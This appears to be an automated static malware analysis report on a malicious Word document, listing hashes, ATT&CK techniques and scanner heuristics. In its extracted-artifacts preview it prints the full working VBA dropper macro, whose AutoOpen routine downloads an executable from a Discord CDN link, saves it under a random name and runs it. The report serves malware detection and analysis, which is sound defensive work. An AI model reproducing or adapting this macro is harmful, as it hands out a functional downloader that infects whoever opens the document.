Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a43237aaf580d2fb…

MALICIOUS

Office (OOXML)

18.2 KB Created: 2021-10-15 06:03:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-10-24
MD5: 8a6d4f6da2a3d6c8227d89994504f575 SHA-1: 341b82479042b51dc0a390ecdb57f6d9723e9fc6 SHA-256: a43237aaf580d2fbb4dd1d3dec8f147fa1a1725ebc5c704d153442f3d68ce23b
370 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains a VBA macro that executes an AutoOpen subroutine. This subroutine uses CreateObject to instantiate Microsoft.XMLHTTP and the embedded link objects to download a file from the URL 'https://cdn.discordapp.com/attachments/557069866285137930/898450428663058442/Word.exe'. The downloaded content is then saved to disk with a randomly generated filename followed by '.exe' and executed. This behavior is indicative of a dropper malware.

Heuristics 9

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell (filename + ".exe")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
         .write xHttp.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://cdn.discordapp.com/attachments/557069866285137930/898450428663058442/Word.exe Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1873 bytes
SHA-256: 52768d030eb46a33321c9f6364d297a14e563b63feae4c6586f4145c6448ed4f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Function RandomString(Length As Integer)
'PURPOSE: Create a Randomized String of Characters
'SOURCE: www.TheSpreadsheetGuru.com/the-code-vault

Dim CharacterBank As Variant
Dim x As Long
Dim str As String

'Test Length Input
  If Length < 1 Then
    MsgBox "Length variable must be greater than 0"
    Exit Function
  End If

CharacterBank = Array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", _
  "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", _
  "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "!", "@", _
  "#", "$", "%", "^", "&", "*", "A", "B", "C", "D", "E", "F", "G", "H", _
  "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", _
  "W", "X", "Y", "Z")
  

'Randomly Select Characters One-by-One
  For x = 1 To Length
    Randomize
    str = str & CharacterBank(Int((UBound(CharacterBank) - LBound(CharacterBank) + 1) * Rnd + LBound(CharacterBank)))
  Next x

'Output Randomly Generated String
  RandomString = str

End Function

Sub AutoOpen()
    Dim filename
    filename = RandomString(5)
    Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
    Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
    xHttp.Open "GET", "https://cdn.discordapp.com/attachments/557069866285137930/898450428663058442/Word.exe", False
    xHttp.Send
    
    With bStrm
     .Type = 1 '//binary
     .Open
     .write xHttp.responseBody
     .savetofile filename + ".exe", 2 '//overwrite
    End With
    
    Shell (filename + ".exe")
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12288 bytes
SHA-256: fe97f34eb29e81c43b79922cdfdf520ad0b895b2a1642927bf9c296ceb3606bf
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: unlikely

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